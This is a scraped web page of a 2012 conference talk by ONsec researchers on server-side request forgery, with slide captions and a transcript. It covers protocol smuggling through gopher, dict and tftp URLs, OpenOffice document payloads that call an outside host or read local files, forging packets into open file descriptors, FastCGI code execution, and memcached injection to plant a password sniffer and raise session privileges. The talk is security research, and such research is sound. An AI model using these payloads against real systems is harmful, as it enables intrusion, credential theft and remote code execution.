

SSRF attacks and sockets: smorgasbord of vulnerabilities

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SSRF attacks and sockets: smorgasbord of vulnerabilities

Vladimir Vorontsov, Alexander Golovko
ONsec: web applications security



** [image: Authors bio • Vladimir Vorontsov - security researcher, bug hunter awarded by Google/Yandex/ Adobe • Alexander Golovko - s...]

** [image: A few words about modern web security] Input validation Format processing External network access Internal ...]

** [image: Forge your protocol brands!] • Make a request from a server • Attack internal network • Forge packets • Splitting/smuggling • Oth...]

** [image: SSRF - new type of vulnerabilities?] • We mean that SSRF is a generalized class of attacks • Introduced and used for con...]

** [image: Where can i find SSRF?] • Export from remote files (like as «Upload from URL», «Export RSS feed») • POP3/IMAP/SMTP connections...]

** [image: Writing to socket in webapp code - bad way • Host/port filtering is strange on webapp level. Work for firewall and admins, ri...]

** [image: Using HTTP clients - bad way too • When you using HTTP clients such as cURL remember their features: • ! Unsafe r...]

** ![Redirect tricks header("Location: ".\$GET[r]); • Bypass webapp filters i.e. preg_replace using redirect • any host -> local...]

(<https://web.archive.org/web/20161108114039im/http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities>)

** [image: Dict schema• <http://tools.ietf.org/html/rfc2229>• curl dict://localhost:8000/GET / HTTP/1.1• Receive on server: CLIENT ...]

** [image: Gopher schema• <http://www.ietf.org/rfc/rfc1436.txt>• TCP packets with your content• Without r n t chars by RFC (and 0...)]

** [image: Gopher schema• PHP doesn't support gopher protocol!• Do not worry! PHP supports all vulnerabilities!• --with-curlwrapper...]

** [image: TFTP schema• <http://www.ietf.org/rfc/rfc1350.txt>• UDP packets with your content (w/o 00 in cUrl) and 0x00 0x01 first b...]

** [image: TFTP schema• Currently working on splitting datagrams to bypass 0x00 0x01 header in second packet• Without stable result...]

** [image: Various format processing issues• XML - External Entities, Signatures, WS etc (see <http://erpscan.com/wp-content...>)]

** [image: OpenOffice - pretty good stuff• Universal solution to convert office documents• Common in Enterprise system and I...]

** [image: OpenOffice - pretty good stuff for SSRF• RTFM <http://docs.oasis-open.org/office/v1.2/>• Find all tags with xl...]

** [image: OpenOffice - pretty good stuff for SSRF• Formula for happiness• DDE is your friend• =D DDE("soffice","file:///...)]

** [image: SSRF exploitation ways• Open new socket• Use already opened sockets/files (authorized)• Where can i find opened sockets/files?]

** [image: File descriptors: basics• Where does files in SSRF theme?• Data streams basics: sockets and files, etc• File descriptor - po...]

** [image: File descriptors: API• FD have minimum number by default (easy brute)• Access to already opened FDs: • PHP 5.3.3 ...]

** [image: File descriptors: ProcFS• Special pseudo files system• Common in Linux, available in FreeBSD (not by default)• While ...]

** [image: File descriptors: cases• Already opened FDs: • May be opened with privileges greater than current • In sockets...]

** [image: Stuff here: File descriptors: examples • Write a HTTP packet into opened FD to forge server output...]

** [image: Database connections pool• Pool is array of sockets with authorized sessions • Start when application serve...]

** [image: PHP fastcgi SSRF RCE• Set php_admin_value, php_admin_flag from Stuff here: frontend• Access to fastcgi over socket ...]

** [image: Want something really cool?]

** [image: Memcached SSRF: easy and very dangerous• Host-basic auth in general• TCP and UDP sockets by default• At the same host wit...]

** [image: Memcached SSRF: exploitation methodology• Collect all available keys• Sort keys by name, determine interesting• F...]

** [image: Memcached SSRF: inject sniffer• Find html/js/etc template of login page in memcached values• Insert your login/pass...]

** [image: Memcached SSRF:dynamic templates RCE• Find template with interpreter's code• Modify code to arbitrary• Call page with targ...]

** [image: Memcached SSRF:escalate your privileges• Find session in memcached keys• Determine key which contain privileges flag of yo...]

** [image: Format SSRF answer to read data (HTTP)• In many cases webapp logic provide reading only one output format (such as image...)]

** [image: Format SSRF answer to read data (HTTP)\$f=fsockopen("localhost",80);fputs(\$f,"GET /\$path HTTP/1.1\r\nHost:localhost\r\n\r\n"); ...]

** [image: Format SSRF answer to read data (HTTP) GET /head HTTP/1.1 HTTP/1.1 200 OK Host: localhost ...]

** [image: Format SSRF answer to read data (HTTP)• How to create header and footer as you want?• Range HTTP header is your friend• ...]

** [image: What about images?• Valid JPG with data which you want to read in EXIF• GIF header and your data at EOF• Inject data into...]

** [image: What about hosting centers?• TFTP server contain machine images• Machines get TFTP images until netboot• Attacker may...]

** [image: What the next?• SSRF bible cheatsheet available now!• <https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9nj...>]

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Ivan Novikov

, Security Expert at ONsec

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Published on Nov 20, 2012

“SSRF attacks and sockets: smorgasbord of vulnerabilities”

Speakers: Vladimir Vorontsov, Alexander Golovko

The report described server request forgery vulnerabilities (Server Side Request Forgery — SSRF) in terms of their practical applications to perform various attacks. The various vulnerabilities and attacks with the using sockets were researched. Such as controlling of the HTTP response, database operations, and even remote code execution. Special attention is given to the above attacks, relevant for the PHP interpreter. The above methods and techniques of the attacks have been developed and successfully used in the course of security audits of real web applications.

...**

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[Lee Ji Seong , 3 at KITRI 'Best of the Best'

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- 1. SSRF attacks and sockets: smorgasbord of vulnerabilities Vladimir Vorontsov, Alexander Golovko ONsec: web applications security

- 2. Authors bio• Vladimir Vorontsov - security researcher, bug hunter awarded by Google/Yandex/ Adobe• Alexander Golovko - security researcher, Debian maintainer• Working together in ONsec company on web applications security
- 3. A few words about modern web securityInput validation Format processingExternal network access Internal network access
- 4. Forge yourprotocol brands!• Make a request from a server• Attack internal network• Forge packets• Splitting/smuggling• Other protocols!• Universal ways such as gopher://• Exploit anything ;)
- 5. SSRF - new type of vulnerabilities?• We mean that SSRF is a generalized class of attacks• Introduced and used for convenience• Several vulnerabilities together or only one can lead to SSRF attacks• To vulns classification use CWE ;)
- 6. Where can i find SSRF?• Export from remote files (like as «Upload from URL», «Export RSS feed»)• POP3/IMAP/SMTP connections from webapps• File format processing (XML, docx, archives, etc)• Databases• Others ...
- 7. Writing to socket inwebapp code - bad way• Host/port filtering is strange on webapp level. Work for firewall and admins, right?• Protocol smuggling (CRLF and others)• What you mean when send in socket «GET / HTTP/1.1\r\nHost: dom\r\n\r\n»? • And what server mean when receive this?
- 8. Using HTTP clients - bad way too • When you using HTTP clients such as cURL remember their features: • ! Unsafe redirect (http:// --> file://) • Various protocols support (gopher:// dict:// tftp:// rtsp://) • Maximum URL length is more than browsers value (100Mb URL is OK)
- 9. Redirect tricks header("Location: ".\$_GET[r]);• Bypass webapp filters i.e. preg_replace using redirect • any host -> localhost • valid port -> any port • valid schema -> any schema • SOP for browsers, not for HTTPClients
- 10. Dict schema• http://tools.ietf.org/html/rfc2229• curl dict://localhost:8000/GET / HTTP/1.1• Receive on server: CLIENT libcurl 7.24.0 GET / HTTP/1.1 QUIT
- 11. Gopher schema• http://www.ietf.org/rfc/rfc1436.txt• TCP packets with your content• Without r n t chars by RFC (and 00 for cURL). But all chars in LWP, Java, ASP.Net ;)• By Polyakov/Chastukhin [ERPscan] at BH_US_12 and CVE-2012-5085 (fixed now)• curl gopher://localhost:8000/2MyData # nc -vv -l -p 8000 listening on [any] 8000 ... connect to [127.0.0.1] from localhost [127.0.0.1] 64096 MyData
- 12. Gopher schema• PHP doesn't support gopher protocol!• Do not worry! PHP supports all vulnerabilities!• --with-curlwrappers provide gopher protocol in file_get_contents and others such as XXE
- 13. TFTP schema• http://www.ietf.org/rfc/rfc1350.txt• UDP packets with your content (w/o 00 in cUrl) and 0x00 0x01 first bytes (really bad)• curl tftp://localhost:64/MyUdpPacketHere02:11:21.378724 IP6 localhost.55928 > localhost.64: UDP, length 54 0x0000: 6000 0000 003e 1140 0000 0000 0000 0000 `....>.@..... 0x0010: 0000 0000 0000 0001 0000 0000 0000 0000 0x0020: 0000 0000 0000 0001 da78 2bcb 003e 0051x+>.Q 0x0030: 0001 4d79 5564 7050 6163 6b65 7448 6572 ..MyUdpPacketHer 0x0040: 6500 6f63 7465 7400 7473 697a 6500 3000 e.octet.size.0. 0x0050: 626c 6b73 697a 6500 3531 3200 7469 6d65 blksize.512.time 0x0060: 6f75 7400 3600 out.6.

- 14. TFTP schema• Currently working on splitting datagrams to bypass 0x00 0x01 header in second packet• Without stable results now unfort ;(
- 15. Various format processing issues• XML - External Entities, Signatures, WS etc (see http://erpsan.com/wp-content/uploads/2012/11/SSRF.2.0.poc_.pdf and <http://www.slideshare.net/d0znpp/onsec-phdays-2012-xxe-incapsulated-report>)• OpenOffice products (Draw, Calc and others)• All soft which can open sockets (provide links to external files in file format) - all modern soft• others (see you at HITB 2013)
- 16. OpenOffice - pretty good stuff• Universal solution to convert office documents• Common in Enterprise system and large portals• Many forks (Libre and others)• What happens while uploaded document is converted?• What about links to external files in the documents?
- 17. OpenOffice - pretty good stuff for SSRF• RTFM <http://docs.oasis-open.org/office/v1.2/>• Find all tags with xlink:href attribute• Do not forget about macros and applets (but really rare activated)• Exploit it!• `<draw:image xlink:href="http://ololo.onsec.ru/? i'mSSRFed" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/>`
- 18. OpenOffice - pretty good stuff for SSRF• Formula for happiness• DDE is your friend• `=DDE("soffice","file:///i-want-to-read-this-file...")`• Use simple formula to full path disclosure `=CELL("filename")`• Address links • `A1=file:///etc/hosts#$Sheet1.A1:B31` • `B1=INDIRECT(A1)`
- 19. SSRF exploitation ways• Open new socket• Use already opened sockets/files (authorized)• Where can i find opened sockets/files?
- 20. File descriptors: basics• Where does files in SSRF theme?• Data streams basics: sockets and files, etc• File descriptor - pointer to data stream• Each process have their own FD• dup, fork, exec - O_CLOEXEC• New data stream - new FD• Privileges while creating FD, not while access
- 21. File descriptors: API• FD have minimum number by default (easy brute)• Access to already opened FDs: • PHP 5.3.3 <= 5.3.14 provide special wrapper `fd://` to use FD simplest (later only on CLI mode) • Java: `java.io.FileDescriptor` • Perl: `open AA, '>&2'; print AA 'DataToFD';` • Python: `os.open + os.write` • Ruby: `fd=IO.new(99,'w');fd.write('ToFD-N99');` • Shell I/O redirection: `$echo 123 > &2` • Privileges for chuid programs
- 22. File descriptors: ProcFS• Special pseudo files system• Common in Linux, available in FreeBSD (not by default)• While opening `/proc/<PID>/fd/<N>` new datastream will be create with the same parameters (!not the same as FD API access to FD directly!)• You need together two FS privileges to access `/proc` • privileges on `/proc/<PID>/fd/<N>` • privileges on target file (!but not directories)• Examples: • RHEL `/var/log/httpd/ - 0700`, but `access.log - 0644` • Debian before first rotate `access.log - 0644`, than `0640`
- 23. File descriptors: cases• Already opened FDs: • May be opened with privileges greater than current • In sockets case may be already authorized• Typical case: starting Apache: • open sockets to listen (80,443) by root • open `error/access.logs` by root • fork childs • `chuid()` to `www-data` for all forks• You may write to `error/access.logs` and sockets from child processes
- 24. Stuff here: File descriptors: examples • Write a HTTP packet into opened FD to forge server output (to current client):`fd6.write("HTTP 200 OK\r\nHost:localhost\r\n...");`//also forge logs • Write a MySQL packet into opened FD to do SQL command:`fd1.write("x22x00x00x00x03INSERTINTO aa VALUES(1,fwrite)");`
- 25. Database connections pool• Pool is array of sockets with authorized sessions • Start when application server started and never close while app server working • May be many pools with

different privileges (but not different for SSRF)

- 26. PHP fastcgi SSRF RCE• Set php_admin_value, php_admin_flag from Stuff here: frontend• Access to fastcgi over socket threw SSRF • run any file as PHP script• Set fastcgi headers in forged fastcgi packet and overwrite php_admin_value, php_value • allow_url_fopen + auto_prepend_file +data:// text/php,<?php phpinfo();?> = RCE • doesn't work when php_admin_{value, flag} set in php fpm config
- 27. Want something really cool?
- 28. Memcached SSRF: easy and very dangerously• Host-basic auth in general• TCP and UDP sockets by default• At the same host with webapp• Plain/text protocol (binary also available)• Does not close the socket after an improper request• Needed only n (0x0a) injection to do this
- 29. Memcached SSRF: exploitation methodology• Collect all available keys• Sort keys by name, determine interesting• Find interesting data• Replace interesting data to arbitrary
- 30. Memcached SSRF: inject sniffer• Find html/js/etc template of login page in memcached values• Insert your login/password JS/etc sniffer• Watch sniffer's logs and get passwords ;)• Profit
- 31. Memcached SSRF:dynamic templates RCE• Find template with interpreter's code• Modify code to arbitrary• Call page with target template• Profit
- 32. Memcached SSRF:escalate your privileges• Find session in memcached keys• Determine key which contain privileges flag of your current session (such as 'Priv')• Modify your access level to «superadmin»• You can also create a new «special» session with TTL 100 years if you want• Profit
- 33. Format SSRF answer to read data (HTTP)• In many cases webapp logic provide reading only one output format (such as images or XML)• Use HTTP request smuggling to do this• One connection but many requests• If protocol support this, you get concatenated output• Try challenge [http:// hackquest.zeronights.org/missions/ErsSma/](http://hackquest.zeronights.org/missions/ErsSma/)
- 34. Format SSRF answer to read data (HTTP)\$f=fsockopen("localhost",80);fputs(\$f,"GET /\$path HTTP/1.1\r\nHost:localhost\r\n\r\n"); HTTP/1.1 200 OK ...GET /1 HTTP/1.1 data 1Host: localhost HTTP/1.1 200 OKGET /2 HTTP/1.1 ...Host: localhost data 2GET /3 HTTP/1.1 HTTP/1.1 200 OKHost: localhost ... data3
- 35. Format SSRF answer to read data (HTTP) GET /head HTTP/1.1 HTTP/1.1 200 OK Host: localhost ... <?xml version='1.0'?><root> GET /data HTTP/1.1 <![CDATA[Host: localhost HTTP/1.1 200 OK GET /foot HTTP/1.1 ... Host: localhost i want to read this <secret>ololo</secret>while(\$s = fgets(\$f)) \$resp.=\$s;\$resp=substr(\$resp,strpos(\$resp,"rnr HTTP/1.1 200 OKn")); \$doc = new DOMDocument(); ...\$doc->loadXML(\$resp);echo \$doc->getElementsByTagName("root")-]]> </root>>item(0)->nodeValue;
- 36. Format SSRF answer to read data (HTTP)• How to create header and footer as you want?• Range HTTP header is your friend• All web pages are your friends• Make a mosaic of pieces - server responses
- 37. What about images?• Valid JPG with data which you want to read in EXIF• GIF header and your data at EOF• Inject data into image header which hold even after resize ([http:// ax330d.blogspot.ru/2011/06/mosaic- of-attacks-from-image-upload.html](http://ax330d.blogspot.ru/2011/06/mosaic-of-attacks-from-image-upload.html))• PHP getimagesize() bypass ([http:// lab.onsec.ru/2012/05/php-all- getimage-bypass.html](http://lab.onsec.ru/2012/05/php-all- getimage-bypass.html))

- 38. What about hosting centers?• TFTP server contain machine images• Machines get TFTP images until netboot• Attacker may get images from TFTP and get /etc/shadow and other stuff
- 39. What the next?• SSRF bible cheatsheet available now!• <https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIjXa3u9akHM>• Follow us: <http://lab.onsec.ru> [ENG] @d0znpp @ONsec_lab

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